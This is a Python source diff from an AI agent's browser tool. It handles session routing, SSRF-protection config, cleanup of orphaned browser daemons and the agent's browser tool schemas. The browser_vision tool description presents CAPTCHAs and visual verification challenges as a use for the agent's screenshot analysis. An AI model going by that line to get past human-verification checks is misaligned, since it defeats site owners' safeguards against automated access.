+ def _last_session_key(task_id: str) -> str:
984
+ """Return the session key to use for a non-nav browser tool call.
985
+
986
+ If a previous ``browser_navigate`` on this task_id set a last-active key,
987
+ use it so snapshot/click/fill/etc. hit the same session. Otherwise fall
988
+ back to the bare task_id (matches original behavior for tasks that never
989
+ triggered hybrid routing).
990
+ """
991
+ if task_id is None:
992
+ task_id = "default"
993
+ return _last_active_session_key.get(task_id, task_id)
994
+
995
+
996
+ def _allow_private_urls() -> bool:
997
+ """Return whether the browser is allowed to navigate to private/internal addresses.
998
+
999
+ Reads ``config["browser"]["allow_private_urls"]`` once and caches the result
1000
+ for the process lifetime. Defaults to ``False`` (SSRF protection active).
1001
+ """
1002
+ global _cached_allow_private_urls, _allow_private_urls_resolved
1003
+ if _allow_private_urls_resolved:
1004
+ return _cached_allow_private_urls
1005
+
1006
+ _allow_private_urls_resolved = True
1007
+ _cached_allow_private_urls = False # safe default
1008
+ try:
1009
+ from hermes_cli.config import read_raw_config
1010
+ cfg = read_raw_config()
1011
+ browser_cfg = cfg.get("browser", {})
1012
+ if isinstance(browser_cfg, dict):
1013
+ _cached_allow_private_urls = is_truthy_value(
1014
+ browser_cfg.get("allow_private_urls"), default=False
1015
+ )
1016
+ except Exception as e:
1017
+ logger.debug("Could not read allow_private_urls from config: %s", e)
1018
+ return _cached_allow_private_urls
1019
+
1020
+
1021
+ def _socket_safe_tmpdir() -> str:
1022
+ """Return a short temp directory path suitable for Unix domain sockets.
1023
+
1024
+ macOS sets ``TMPDIR`` to ``/var/folders/xx/.../T/`` (~51 chars). When we
1025
+ append ``agent-browser-hermes_…`` the resulting socket path exceeds the
1026
+ 104-byte macOS limit for ``AF_UNIX`` addresses, causing agent-browser to
1027
+ fail with "Failed to create socket directory" or silent screenshot failures.
1028
+
1029
+ Linux ``tempfile.gettempdir()`` already returns ``/tmp``, so this is a
1030
+ no-op there. On macOS we bypass ``TMPDIR`` and use ``/tmp`` directly
1031
+ (symlink to ``/private/tmp``, sticky-bit protected, always available).
1032
+ """
1033
+ if sys.platform == "darwin":
1034
+ return "/tmp"
1035
+ return tempfile.gettempdir()
1036
+
1037
+
1038
+ # Track active sessions per "session key".
1039
+ #
1040
+ # A "session key" is either the bare task_id (cloud/default path) OR a composite
1041
+ # like f"{task_id}::local" when the hybrid-routing feature spawns a local sidecar
1042
+ # browser for a LAN/localhost URL while a cloud provider is configured globally.
1043
+ # Both forms flow through the same _active_sessions / _run_browser_command /
1044
+ # cleanup_browser code paths — the key is opaque to those internals.
1045
+ #
1046
+ # Stores: session_name (always), bb_session_id + cdp_url (cloud mode only)
1047
+ _active_sessions: Dict[str, Dict[str, str]] = {} # session_key -> {session_name, ...}
1048
+ _recording_sessions: set = set() # session_keys with active recordings
1049
+
1050
+ # Tracks the most recent session_key used per task_id. Set by browser_navigate()
1051
+ # after it chooses a backend for a URL; read by every non-nav browser tool
1052
+ # (snapshot/click/fill/eval/...) so they target the session that served the last
1053
+ # navigation. Without this, a task that navigated to localhost on the local
1054
+ # sidecar would fall back to the cloud session on its next snapshot call.
1055
+ _last_active_session_key: Dict[str, str] = {} # task_id -> session_key
1056
+ _LOCAL_SUFFIX = "::local"
1057
+
1058
+ # Flag to track if cleanup has been done
1059
+ _cleanup_done = False
1060
+
1061
+ # =============================================================================
1062
+ # Inactivity Timeout Configuration
1063
+ # =============================================================================
1064
+
1065
+ # Session inactivity timeout (seconds) - cleanup if no activity for this long
1066
+ # Default: 5 minutes. Needs headroom for LLM reasoning between browser commands,
1067
+ # especially when subagents are doing multi-step browser tasks.
1068
+ BROWSER_SESSION_INACTIVITY_TIMEOUT = int(os.environ.get("BROWSER_INACTIVITY_TIMEOUT", "300"))
1069
+
1070
+ # Track last activity time per session
1071
+ _session_last_activity: Dict[str, float] = {}
1072
+
1073
+ # Background cleanup thread state
1074
+ _cleanup_thread = None
1075
+ _cleanup_running = False
1076
+ # Protects _session_last_activity AND _active_sessions for thread safety
1077
+ # (subagents run concurrently via ThreadPoolExecutor)
1078
+ _cleanup_lock = threading.Lock()
1079
+
1080
+
1081
+ def _emergency_cleanup_all_sessions():
1082
+ """
1083
+ Emergency cleanup of all active browser sessions.
1084
+ Called on process exit or interrupt to prevent orphaned sessions.
1085
+
1086
+ Also runs the orphan reaper to clean up daemons left behind by previously
1087
+ crashed hermes processes — this way every clean hermes exit sweeps
1088
+ accumulated orphans, not just ones that actively used the browser tool.
1089
+ """
1090
+ global _cleanup_done
1091
+ if _cleanup_done:
1092
+ return
1093
+ _cleanup_done = True
1094
+
1095
+ # Clean up this process's own sessions first, so their owner_pid files
1096
+ # are removed before the reaper scans.
1097
+ if _active_sessions:
1098
+ logger.info("Emergency cleanup: closing %s active session(s)...",
1099
+ len(_active_sessions))
1100
+ try:
1101
+ cleanup_all_browsers()
1102
+ except Exception as e:
1103
+ logger.error("Emergency cleanup error: %s", e)
1104
+ finally:
1105
+ with _cleanup_lock:
1106
+ _active_sessions.clear()
1107
+ _session_last_activity.clear()
1108
+ _recording_sessions.clear()
1109
+
1110
+ # Sweep orphans from other crashed hermes processes. Safe even if we
1111
+ # never used the browser — uses owner_pid liveness to avoid reaping
1112
+ # daemons owned by other live hermes processes.
1113
+ try:
1114
+ _reap_orphaned_browser_sessions()
1115
+ except Exception as e:
1116
+ logger.debug("Orphan reap on exit failed: %s", e)
1117
+
1118
+
1119
+ # Register cleanup via atexit only. Previous versions installed SIGINT/SIGTERM
1120
+ # handlers that called sys.exit(), but this conflicts with prompt_toolkit's
1121
+ # async event loop — a SystemExit raised inside a key-binding callback
1122
+ # corrupts the coroutine state and makes the process unkillable. atexit
1123
+ # handlers run on any normal exit (including sys.exit), so browser sessions
1124
+ # are still cleaned up without hijacking signals.
1125
+ atexit.register(_emergency_cleanup_all_sessions)
1126
+
1127
+
1128
+ # =============================================================================
1129
+ # Inactivity Cleanup Functions
1130
+ # =============================================================================
1131
+
1132
+ def _cleanup_inactive_browser_sessions():
1133
+ """
1134
+ Clean up browser sessions that have been inactive for longer than the timeout.
1135
+
1136
+ This function is called periodically by the background cleanup thread to
1137
+ automatically close sessions that haven't been used recently, preventing
1138
+ orphaned sessions (local or Browserbase) from accumulating.
1139
+ """
1140
+ current_time = time.time()
1141
+ sessions_to_cleanup = []
1142
+
1143
+ with _cleanup_lock:
1144
+ for task_id, last_time in list(_session_last_activity.items()):
1145
+ if current_time - last_time > BROWSER_SESSION_INACTIVITY_TIMEOUT:
1146
+ sessions_to_cleanup.append(task_id)
1147
+
1148
+ for task_id in sessions_to_cleanup:
1149
+ try:
1150
+ elapsed = int(current_time - _session_last_activity.get(task_id, current_time))
1151
+ logger.info("Cleaning up inactive session for task: %s (inactive for %ss)", task_id, elapsed)
1152
+ cleanup_browser(task_id)
1153
+ with _cleanup_lock:
1154
+ if task_id in _session_last_activity:
1155
+ del _session_last_activity[task_id]
1156
+ except Exception as e:
1157
+ logger.warning("Error cleaning up inactive session %s: %s", task_id, e)
1158
+
1159
+
1160
+ def _write_owner_pid(socket_dir: str, session_name: str) -> None:
1161
+ """Record the current hermes PID as the owner of a browser socket dir.
1162
+
1163
+ Written atomically to ``<socket_dir>/<session_name>.owner_pid`` so the
1164
+ orphan reaper can distinguish daemons owned by a live hermes process
1165
+ (don't reap) from daemons whose owner crashed (reap). Best-effort —
1166
+ an OSError here just falls back to the legacy ``tracked_names``
1167
+ heuristic in the reaper.
1168
+ """
1169
+ try:
1170
+ path = os.path.join(socket_dir, f"{session_name}.owner_pid")
1171
+ with open(path, "w", encoding="utf-8") as f:
1172
+ f.write(str(os.getpid()))
1173
+ except OSError as exc:
1174
+ logger.debug("Could not write owner_pid file for %s: %s",
1175
+ session_name, exc)
1176
+
1177
+
1178
+ def _reap_orphaned_browser_sessions():
1179
+ """Scan for orphaned agent-browser daemon processes from previous runs.
1180
+
1181
+ When the Python process that created a browser session exits uncleanly
1182
+ (SIGKILL, crash, gateway restart), the in-memory ``_active_sessions``
1183
+ tracking is lost but the node + Chromium processes keep running.
1184
+
1185
+ This function scans the tmp directory for ``agent-browser-*`` socket dirs
1186
+ left behind by previous runs, reads the daemon PID files, and kills any
1187
+ daemons whose owning hermes process is no longer alive.
1188
+
1189
+ Ownership detection priority:
1190
+ 1. ``<session>.owner_pid`` file (written by current code) — if the
1191
+ referenced hermes PID is alive, leave the daemon alone regardless
1192
+ of whether it's in *this* process's ``_active_sessions``. This is
1193
+ cross-process safe: two concurrent hermes instances won't reap each
1194
+ other's daemons.
1195
+ 2. Fallback for daemons that predate owner_pid: check
1196
+ ``_active_sessions`` in the current process. If not tracked here,
1197
+ treat as orphan (legacy behavior).
1198
+
1199
+ Safe to call from any context — atexit, cleanup thread, or on demand.
1200
+ """
1201
+ import glob
1202
+
1203
+ tmpdir = _socket_safe_tmpdir()
1204
+ pattern = os.path.join(tmpdir, "agent-browser-h_*")
1205
+ socket_dirs = glob.glob(pattern)
1206
+ # Also pick up CDP sessions
1207
+ socket_dirs += glob.glob(os.path.join(tmpdir, "agent-browser-cdp_*"))
1208
+ # Also pick up cloud-provider sessions (browser-use/browserbase/firecrawl)
1209
+ socket_dirs += glob.glob(os.path.join(tmpdir, "agent-browser-hermes_*"))
1210
+
1211
+ if not socket_dirs:
1212
+ return
1213
+
1214
+ # Build set of session_names currently tracked by this process (fallback path)
1215
+ with _cleanup_lock:
1216
+ tracked_names = {
1217
+ info.get("session_name")
1218
+ for info in _active_sessions.values()
1219
+ if info.get("session_name")
1220
+ }
1221
+
1222
+ reaped = 0
1223
+ for socket_dir in socket_dirs:
1224
+ dir_name = os.path.basename(socket_dir)
1225
+ # dir_name is "agent-browser-{session_name}"
1226
+ session_name = dir_name.removeprefix("agent-browser-")
1227
+ if not session_name:
1228
+ continue
1229
+
1230
+ # Ownership check: prefer owner_pid file (cross-process safe).
1231
+ owner_pid_file = os.path.join(socket_dir, f"{session_name}.owner_pid")
1232
+ owner_alive: Optional[bool] = None # None = owner_pid missing/unreadable
1233
+ if os.path.isfile(owner_pid_file):
1234
+ try:
1235
+ owner_pid = int(Path(owner_pid_file).read_text(encoding="utf-8").strip())
1236
+ # ``os.kill(pid, 0)`` is NOT a no-op on Windows (bpo-14484).
1237
+ # Use the cross-platform existence check.
1238
+ from gateway.status import _pid_exists
1239
+ owner_alive = _pid_exists(owner_pid)
1240
+ except (ValueError, OSError):
1241
+ owner_alive = None # corrupt file — fall through
1242
+
1243
+ if owner_alive is True:
1244
+ # Owner is alive — this session belongs to a live hermes process.
1245
+ continue
1246
+
1247
+ if owner_alive is None:
1248
+ # No owner_pid file (legacy daemon). Fall back to in-process
1249
+ # tracking: if this process knows about the session, leave alone.
1250
+ if session_name in tracked_names:
1251
+ continue
1252
+
1253
+ # owner_alive is False (dead owner) OR legacy daemon not tracked here.
1254
+ pid_file = os.path.join(socket_dir, f"{session_name}.pid")
1255
+ if not os.path.isfile(pid_file):
1256
+ # No daemon PID file — just a stale dir, remove it
1257
+ shutil.rmtree(socket_dir, ignore_errors=True)
1258
+ continue
1259
+
1260
+ try:
1261
+ daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip())
1262
+ except (ValueError, OSError):
1263
+ shutil.rmtree(socket_dir, ignore_errors=True)
1264
+ continue
1265
+
1266
+ # Check if the daemon is still alive. ``os.kill(pid, 0)`` on Windows
1267
+ # is NOT a no-op — use the handle-based existence check.
1268
+ from gateway.status import _pid_exists
1269
+ if not _pid_exists(daemon_pid):
1270
+ shutil.rmtree(socket_dir, ignore_errors=True)
1271
+ continue
1272
+
1273
+ # Daemon is alive and its owner is dead (or legacy + untracked). Reap.
1274
+ try:
1275
+ os.kill(daemon_pid, signal.SIGTERM)
1276
+ logger.info("Reaped orphaned browser daemon PID %d (session %s)",
1277
+ daemon_pid, session_name)
1278
+ reaped += 1
1279
+ except (ProcessLookupError, PermissionError, OSError):
1280
+ pass
1281
+
1282
+ # Clean up the socket directory
1283
+ shutil.rmtree(socket_dir, ignore_errors=True)
1284
+
1285
+ if reaped:
1286
+ logger.info("Reaped %d orphaned browser session(s) from previous run(s)", reaped)
1287
+
1288
+
1289
+ def _browser_cleanup_thread_worker():
1290
+ """
1291
+ Background thread that periodically cleans up inactive browser sessions.
1292
+
1293
+ Runs every 30 seconds and checks for sessions that haven't been used
1294
+ within the BROWSER_SESSION_INACTIVITY_TIMEOUT period.
1295
+ On first run, also reaps orphaned sessions from previous process lifetimes.
1296
+ """
1297
+ # One-time orphan reap on startup
1298
+ try:
1299
+ _reap_orphaned_browser_sessions()
1300
+ except Exception as e:
1301
+ logger.warning("Orphan reap error: %s", e)
1302
+
1303
+ while _cleanup_running:
1304
+ try:
1305
+ _cleanup_inactive_browser_sessions()
1306
+ except Exception as e:
1307
+ logger.warning("Cleanup thread error: %s", e)
1308
+
1309
+ # Sleep in 1-second intervals so we can stop quickly if needed
1310
+ for _ in range(30):
1311
+ if not _cleanup_running:
1312
+ break
1313
+ time.sleep(1)
1314
+
1315
+
1316
+ def _start_browser_cleanup_thread():
1317
+ """Start the background cleanup thread if not already running."""
1318
+ global _cleanup_thread, _cleanup_running
1319
+
1320
+ with _cleanup_lock:
1321
+ if _cleanup_thread is None or not _cleanup_thread.is_alive():
1322
+ _cleanup_running = True
1323
+ _cleanup_thread = threading.Thread(
1324
+ target=_browser_cleanup_thread_worker,
1325
+ daemon=True,
1326
+ name="browser-cleanup"
1327
+ )
1328
+ _cleanup_thread.start()
1329
+ logger.info("Started inactivity cleanup thread (timeout: %ss)", BROWSER_SESSION_INACTIVITY_TIMEOUT)
1330
+
1331
+
1332
+ def _stop_browser_cleanup_thread():
1333
+ """Stop the background cleanup thread."""
1334
+ global _cleanup_running
1335
+ _cleanup_running = False
1336
+ if _cleanup_thread is not None:
1337
+ _cleanup_thread.join(timeout=5)
1338
+
1339
+
1340
+ def _update_session_activity(task_id: str):
1341
+ """Update the last activity timestamp for a session."""
1342
+ with _cleanup_lock:
1343
+ _session_last_activity[task_id] = time.time()
1344
+
1345
+
1346
+ # Register cleanup thread stop on exit
1347
+ atexit.register(_stop_browser_cleanup_thread)
1348
+
1349
+
1350
+ # ============================================================================
1351
+ # Tool Schemas
1352
+ # ============================================================================
1353
+
1354
+ BROWSER_TOOL_SCHEMAS = [
1355
+ {
1356
+ "name": "browser_navigate",
1357
+ "description": "Navigate to a URL in the browser. Initializes the session and loads the page. Must be called before other browser tools. For simple information retrieval, prefer web_search or web_extract (faster, cheaper). For plain-text endpoints — URLs ending in .md, .txt, .json, .yaml, .yml, .csv, .xml, raw.githubusercontent.com, or any documented API endpoint — prefer curl via the terminal tool or web_extract; the browser stack is overkill and much slower for these. Use browser tools when you need to interact with a page (click, fill forms, dynamic content). Returns a compact page snapshot with interactive elements and ref IDs — no need to call browser_snapshot separately after navigating.",
1358
+ "parameters": {
1359
+ "type": "object",
1360
+ "properties": {
1361
+ "url": {
1362
+ "type": "string",
1363
+ "description": "The URL to navigate to (e.g., 'https://example.com')"
1364
+ }
1365
+ },
1366
+ "required": ["url"]
1367
+ }
1368
+ },
1369
+ {
1370
+ "name": "browser_snapshot",
1371
+ "description": "Get a text-based snapshot of the current page's accessibility tree. Returns interactive elements with ref IDs (like @e1, @e2) for browser_click and browser_type. full=false (default): compact view with interactive elements. full=true: complete page content. Snapshots over 8000 chars are truncated or LLM-summarized. Requires browser_navigate first. Note: browser_navigate already returns a compact snapshot — use this to refresh after interactions that change the page, or with full=true for complete content.",
1372
+ "parameters": {
1373
+ "type": "object",
1374
+ "properties": {
1375
+ "full": {
1376
+ "type": "boolean",
1377
+ "description": "If true, returns complete page content. If false (default), returns compact view with interactive elements only.",
1378
+ "default": False
1379
+ }
1380
+ },
1381
+ "required": []
1382
+ }
1383
+ },
1384
+ {
1385
+ "name": "browser_click",
1386
+ "description": "Click on an element identified by its ref ID from the snapshot (e.g., '@e5'). The ref IDs are shown in square brackets in the snapshot output. Requires browser_navigate and browser_snapshot to be called first.",
1387
+ "parameters": {
1388
+ "type": "object",
1389
+ "properties": {
1390
+ "ref": {
1391
+ "type": "string",
1392
+ "description": "The element reference from the snapshot (e.g., '@e5', '@e12')"
1393
+ }
1394
+ },
1395
+ "required": ["ref"]
1396
+ }
1397
+ },
1398
+ {
1399
+ "name": "browser_type",
1400
+ "description": "Type text into an input field identified by its ref ID. Clears the field first, then types the new text. Requires browser_navigate and browser_snapshot to be called first.",
1401
+ "parameters": {
1402
+ "type": "object",
1403
+ "properties": {
1404
+ "ref": {
1405
+ "type": "string",
1406
+ "description": "The element reference from the snapshot (e.g., '@e3')"
1407
+ },
1408
+ "text": {
1409
+ "type": "string",
1410
+ "description": "The text to type into the field"
1411
+ }
1412
+ },
1413
+ "required": ["ref", "text"]
1414
+ }
1415
+ },
1416
+ {
1417
+ "name": "browser_scroll",
1418
+ "description": "Scroll the page in a direction. Use this to reveal more content that may be below or above the current viewport. Requires browser_navigate to be called first.",
1419
+ "parameters": {
1420
+ "type": "object",
1421
+ "properties": {
1422
+ "direction": {
1423
+ "type": "string",
1424
+ "enum": ["up", "down"],
1425
+ "description": "Direction to scroll"
1426
+ }
1427
+ },
1428
+ "required": ["direction"]
1429
+ }
1430
+ },
1431
+ {
1432
+ "name": "browser_back",
1433
+ "description": "Navigate back to the previous page in browser history. Requires browser_navigate to be called first.",
1434
+ "parameters": {
1435
+ "type": "object",
1436
+ "properties": {},
1437
+ "required": []
1438
+ }
1439
+ },
1440
+ {
1441
+ "name": "browser_press",
1442
+ "description": "Press a keyboard key. Useful for submitting forms (Enter), navigating (Tab), or keyboard shortcuts. Requires browser_navigate to be called first.",
1443
+ "parameters": {
1444
+ "type": "object",
1445
+ "properties": {
1446
+ "key": {
1447
+ "type": "string",
1448
+ "description": "Key to press (e.g., 'Enter', 'Tab', 'Escape', 'ArrowDown')"
1449
+ }
1450
+ },
1451
+ "required": ["key"]
1452
+ }
1453
+ },
1454
+ {
1455
+ "name": "browser_get_images",
1456
+ "description": "Get a list of all images on the current page with their URLs and alt text. Useful for finding images to analyze with the vision tool. Requires browser_navigate to be called first.",
1457
+ "parameters": {
1458
+ "type": "object",
1459
+ "properties": {},
1460
+ "required": []
1461
+ }
1462
+ },
1463
+ {
1464
+ "name": "browser_vision",
1465
+ "description": "Take a screenshot of the current page and analyze it with vision AI. Use this when you need to visually understand what's on the page - especially useful for CAPTCHAs, visual verification challenges, complex layouts, or when the text snapshot doesn't capture important visual information. Returns both the AI analysis and a screenshot_path that you can share with the user by including MEDIA:<screenshot_path> in your response. Requires browser_navigate to be called first.",
1466
+ "parameters": {
1467
+ "type": "object",
1468
+ "properties": {
1469
+ "question": {
1470
+ "type": "string",
1471
+ "description": "What you want to know about the page visually. Be specific about what you're looking for."
1472
+ },
1473
+ "annotate": {
1474
+ "type": "boolean",
1475
+ "default": False,
1476
+ "description": "If true, overlay numbered [N] labels on interactive elements. Each [N] maps to ref @eN for subsequent browser commands. Useful for QA and spatial reasoning about page layout."
1477
+ }
1478
+ },
1479
+ "required": ["question"]
1480
+ }
1481
+ },
1482
+ {
1483
+ "name": "browser_console",
1484
+ "description": "Get browser console output and JavaScript errors from the current page. Returns console.log/warn/error/info messages and uncaught JS exceptions. Use this to detect silent JavaScript errors, failed API calls, and application warnings. Requires browser_navigate to be called first. When 'expression' is provided, evaluates JavaScript in the page context and returns the result — use this for DOM inspection, reading page state, or extracting data programmatically.",
1485
+ "parameters": {
1486
+ "type": "object",
1487
+ "properties": {
1488
+ "clear": {
1489
+ "type": "boolean",
1490
+ "default": False,
1491
+ "description": "If true, clear the message buffers after reading"
1492
+ },
1493
+ "expression": {
1494
+ "type": "string",
1495
+ "description": "JavaScript expression to evaluate in the page context. Runs in the browser like DevTools console — full access to DOM, window, document. Return values are serialized to JSON. Example: 'document.title' or 'document.querySelectorAll(\"a\").length'"
1496
+ }
1497
+ },
1498
+ "required": []
1499
+ }
1500
+ },
1501
+ ]
1502
+
1503
+
1504
+ # ============================================================================
1505
+ # Utility Functions
1506
+ # ============================================================================
1507
+
1508
+ def _create_local_session(task_id: str) -> Dict[str, str]:
1509
+ import uuid
1510
+ session_name = f"h_{uuid.uuid4().hex[:10]}"
1511
+ logger.info("Created local browser session %s for task %s",
1512
+ session_name, task_id)
1513
+ return {
1514
+ "session_name": session_name,
1515
+ "bb_session_id": None,
1516
+ "cdp_url": None,
1517
+ "features": {"local": True},
1518
+ }
1519
+
1520
+
1521
+ def _create_cdp_session(task_id: str, cdp_url: str) -> Dict[str, str]:
1522
+ """Create a session that connects to a user-supplied CDP endpoint."""
1523
+ import uuid
1524
+ session_name = f"cdp_{uuid.uuid4().hex[:10]}"
1525
+ logger.info("Created CDP browser session %s → %s for task %s",
1526
+ session_name, cdp_url, task_id)
1527
+ return {
1528
+ "session_name": session_name,
1529
+ "bb_session_id": None,
1530
+ "cdp_url": cdp_url,
1531
+ "features": {"cdp_override": True},
1532
+ }
1533
+
1534
+
1535
+ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]:
1536
+ """
1537
+ Get or create session info for the given session key.
1538
+
1539
+ In cloud mode, creates a Browserbase session with proxies enabled.
1540
+ In local mode, generates a session name for agent-browser --session.
1541
+ Also starts the inactivity cleanup thread and updates activity tracking.
1542
+ Thread-safe: multiple subagents can call this concurrently.
1543
+
1544
+ Args:
1545
+ task_id: Session key. Normally the task_id as-is, but may carry the
1546
+ ``::local`` suffix for the hybrid-routing local sidecar — in that
1547
+ case the cloud provider is skipped even when one is configured,
1548
+ and a local Chromium session is created instead.
1549
+
1550
+ Returns:
1551
+ Dict with session_name (always), bb_session_id + cdp_url (cloud only)
1552
+ """
1553
+ if task_id is None:
1554
+ task_id = "default"
1555
+
1556
+ # Start the cleanup thread if not running (handles inactivity timeouts)
1557
+ _start_browser_cleanup_thread()
1558
+
1559
+ # Update activity timestamp for this session
1560
+ _update_session_activity(task_id)
1561
+
1562
+ with _cleanup_lock:
1563
+ # Check if we already have a session for this task
1564
+ if task_id in _active_sessions:
1565
+ return _active_sessions[task_id]
1566
+
1567
+ # Hybrid routing: session keys ending with ``::local`` force a local
1568
+ # Chromium regardless of the globally-configured cloud provider. Public
1569
+ # URLs in the same conversation continue to use the cloud session under
1570
+ # the bare task_id key.
1571
+ force_local = _is_local_sidecar_key(task_id)
1572
+
1573
+ # Create session outside the lock (network call in cloud mode)
1574
+ cdp_override = _get_cdp_override()
1575
+ if cdp_override and not force_local:
1576
+ session_info = _create_cdp_session(task_id, cdp_override)
1577
+ elif force_local:
1578
+ session_info = _create_local_session(task_id)
1579
+ else:
1580
+ provider = _get_cloud_provider()
1581
+ if provider is None:
1582
+ session_info = _create_local_session(task_id)
1583
+ else:
1584
+ try:
1585
+ session_info = provider.create_session(task_id)
1586
+ # Validate cloud provider returned a usable session
1587
+ if not session_info or not isinstance(session_info, dict):
1588
+ raise ValueError(f"Cloud provider returned invalid session: {session_info!r}")
1589
+ if session_info.get("cdp_url"):
1590
+ # Some cloud providers (including Browser-Use v3) return an HTTP
1591
+ # CDP discovery URL instead of a raw websocket endpoint.
1592
+ session_info = dict(session_info)
1593
+ session_info["cdp_url"] = _resolve_cdp_override(str(session_info["cdp_url"]))
1594
+ except Exception as e:
1595
+ provider_name = type(provider).__name__
1596
+ logger.warning(
1597
+ "Cloud provider %s failed (%s); attempting fallback to local "
1598
+ "Chromium for task %s",
1599
+ provider_name, e, task_id,
1600
+ exc_info=True,
1601
+ )
1602
+ try:
1603
+ session_info = _create_local_session(task_id)
1604
+ except Exception as local_error:
1605
+ raise RuntimeError(
1606
+ f"Cloud provider {provider_name} failed ({e}) and local "
1607
+ f"fallback also failed ({local_error})"
1608
+ ) from e
1609
+ # Mark session as degraded for observability
1610
+ if isinstance(session_info, dict):
1611
+ session_info = dict(session_info)
1612
+ session_info["fallback_from_cloud"] = True
1613
+ session_info["fallback_reason"] = str(e)
1614
+ session_info["fallback_provider"] = provider_name
1615
+
1616
+ with _cleanup_lock:
1617
+ # Double-check: another thread may have created a session while we
1618
+ # were doing the network call. Use the existing one to avoid leaking
1619
+ # orphan cloud sessions.
1620
+ if task_id in _active_sessions:
1621
+ return _active_sessions[task_id]
1622
+ _active_sessions[task_id] = session_info
1623
+
1624
+ # Lazy-start the CDP supervisor now that the session exists (if the
1625
+ # backend surfaces a CDP URL via override or session_info["cdp_url"]).
1626
+ # Idempotent; swallows errors. See _ensure_cdp_supervisor for details.
1627
+ # Skip for local sidecars — they have no CDP URL.
1628
+ if not force_local:
1629
+ _ensure_cdp_supervisor(task_id)
1630
+
1631
+ return session_info
1632
+
1633
+
1634
+
1635
+ def _find_agent_browser() -> str:
1636
+ """
1637
+ Find the agent-browser CLI executable.
1638
+
1639
+ Checks in order: current PATH, Homebrew/common bin dirs, Hermes-managed
1640
+ node, local node_modules/.bin/, npx fallback.
1641
+
1642
+ Returns:
1643
+ Path to agent-browser executable
1644
+
1645
+ Raises:
1646
+ FileNotFoundError: If agent-browser is not installed
1647
+ """
1648
+ global _cached_agent_browser, _agent_browser_resolved
1649
+ if _agent_browser_resolved:
1650
+ if _cached_agent_browser is None:
1651
+ raise FileNotFoundError(
1652
+ "agent-browser CLI not found (cached). Install it with: "
1653
+ f"{_browser_install_hint()}\n"
1654
+ "Or run 'npm install' in the repo root to install locally.\n"
1655
+ "Or ensure npx is available in your PATH."
1656
+ )
1657
+ return _cached_agent_browser
1658
+
1659
+ # Note: _agent_browser_resolved is set at each return site below
1660
+ # (not before the search) to prevent a race where a concurrent thread
1661
+ # sees resolved=True but _cached_agent_browser is still None.
1662
+
1663
+ # Check if it's in PATH (global install)
1664
+ which_result = shutil.which("agent-browser")
1665
+ if which_result:
1666
+ _cached_agent_browser = which_result
1667
+ _agent_browser_resolved = True
1668
+ return which_result
1669
+
1670
+ # Build an extended search PATH including Hermes-managed Node, macOS
1671
+ # versioned Homebrew installs, and fallback system dirs like Termux.
1672
+ extended_path = _merge_browser_path("")
1673
+ if extended_path:
1674
+ which_result = shutil.which("agent-browser", path=extended_path)
1675
+ if which_result:
1676
+ _cached_agent_browser = which_result
1677
+ _agent_browser_resolved = True
1678
+ return which_result
1679
+
1680
+ # Check local node_modules/.bin/ (npm install in repo root).
1681
+ # On Windows, npm drops three shims in .bin: an extensionless POSIX shell
1682
+ # script (for Git Bash / WSL), `agent-browser.cmd` (for cmd/PowerShell),
1683
+ # and `agent-browser.ps1` (for PowerShell). CreateProcess (used by Python's
1684
+ # subprocess on Windows) cannot execute the extensionless shim — it raises
1685
+ # WinError 193 "%1 is not a valid Win32 application". We must resolve to the
1686
+ # `.cmd` shim instead. `shutil.which` consults PATHEXT, so we delegate to it
1687
+ # with an explicit path so POSIX hosts still pick the extensionless shim.
1688
+ repo_root = Path(__file__).parent.parent
1689
+ local_bin_dir = repo_root / "node_modules" / ".bin"
1690
+ if local_bin_dir.is_dir():
1691
+ local_which = shutil.which("agent-browser", path=str(local_bin_dir))
1692
+ if local_which:
1693
+ _cached_agent_browser = local_which
1694
+ _agent_browser_resolved = True
1695
+ return _cached_agent_browser
1696
+
1697
+ # Check common npx locations (also search the extended fallback PATH)
1698
+ npx_path = shutil.which("npx")
1699
+ if not npx_path and extended_path:
1700
+ npx_path = shutil.which("npx", path=extended_path)
1701
+ if npx_path:
1702
+ _cached_agent_browser = "npx agent-browser"
1703
+ _agent_browser_resolved = True
1704
+ return _cached_agent_browser
1705
+
1706
+ # Nothing found — try lazy installation before giving up.
1707
+ try:
1708
+ from hermes_cli.dep_ensure import ensure_dependency
1709
+ if ensure_dependency("browser"):
1710
+ recheck = shutil.which("agent-browser")
1711
+ if not recheck and extended_path:
1712
+ recheck = shutil.which("agent-browser", path=extended_path)
1713
+ if not recheck:
1714
+ hermes_nm = str(get_hermes_home() / "node_modules" / ".bin")
1715
+ recheck = shutil.which("agent-browser", path=hermes_nm)
1716
+ if recheck:
1717
+ _cached_agent_browser = recheck
1718
+ _agent_browser_resolved = True
1719
+ return recheck
1720
+ except Exception:
1721
+ pass
1722
+
1723
+ _agent_browser_resolved = True
1724
+ raise FileNotFoundError(
1725
+ "agent-browser CLI not found. Install it with: "
1726
+ f"{_browser_install_hint()}\n"
1727
+ "Or run 'npm install' in the repo root to install locally.\n"
1728
+ "Or ensure npx is available in your PATH."
1729
+ )
1730
+
1731
+
1732
+ def _extract_screenshot_path_from_text(text: str) -> Optional[str]:
1733
+ """Extract a screenshot file path from agent-browser human-readable output."""
1734
+ if not text:
1735
+ return None
1736
+
1737
+ patterns = [
1738
+ r"Screenshot saved to ['\"](?P<path>/[^'\"]+?\.png)['\"]",
1739
+ r"Screenshot saved to (?P<path>/\S+?\.png)(?:\s|$)",
1740
+ r"(?P<path>/\S+?\.png)(?:\s|$)",
1741
+ ]
1742
+
1743
+ for pattern in patterns:
1744
+ match = re.search(pattern, text)
1745
+ if match:
1746
+ path = match.group("path").strip().strip("'\"")
1747
+ if path:
1748
+ return path
1749
+
1750
+ return None
1751
+
1752
+
1753
+ def _run_browser_command(
1754
+ task_id: str,
1755
+ command: str,
1756
+ args: List[str] = None,
1757
+ timeout: Optional[int] = None,
1758
+ _engine_override: Optional[str] = None,
1759
+ ) -> Dict[str, Any]:
1760
+ """
1761
+ Run an agent-browser CLI command using our pre-created Browserbase session.
1762
+
1763
+ Args:
1764
+ task_id: Task identifier to get the right session
1765
+ command: The command to run (e.g., "open", "click")
1766
+ args: Additional arguments for the command
1767
+ timeout: Command timeout in seconds. ``None`` reads
1768
+ ``browser.command_timeout`` from config (default 30s).
1769
+ _engine_override: Force a specific engine for this call only. Used
1770
+ internally by the Lightpanda fallback to retry with
1771
+ Chrome without touching global state.
1772
+
1773
+ Returns:
1774
+ Parsed JSON response from agent-browser
1775
+ """
1776
+ if timeout is None:
1777
+ timeout = _get_command_timeout()
